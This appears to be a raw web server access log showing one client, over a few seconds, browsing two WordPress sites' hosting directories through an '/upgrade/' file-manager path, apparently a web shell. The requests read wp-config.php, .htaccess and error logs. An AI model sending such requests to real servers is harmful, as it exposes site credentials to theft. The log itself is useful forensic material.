45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 10680 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F.well-known HTTP/1.1" 200 6048 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fwp-content HTTP/1.1" 200 6607 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Ffilefuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 11184 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Ffilefuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 8676 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 11465 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9224 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9488 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 21031 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5792 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 8410 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F&option=folder HTTP/1.1" 200 8381 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:21 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F&option=dir HTTP/1.1" 200 8379 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 19156 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9994 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 25980 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 16167 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 6483 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 16544 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 8667 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 9618 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 8341 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F&option=file HTTP/1.1" 200 8378 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 11222 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 52675 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:22 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 10254 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F HTTP/1.1" 200 25734 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 16487 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 11394 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9814 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 16043 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fwp-content HTTP/1.1" 200 6812 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9149 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9632 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 10155 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8977 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fcgi-bin HTTP/1.1" 200 5796 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared HTTP/1.1" 200 6443 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fwp-includes HTTP/1.1" 200 25725 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:23 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 10225 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 25624 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F&option=dir HTTP/1.1" 200 8320 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F&option=file HTTP/1.1" 200 8320 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 11161 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 52591 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 8588 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 11886 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
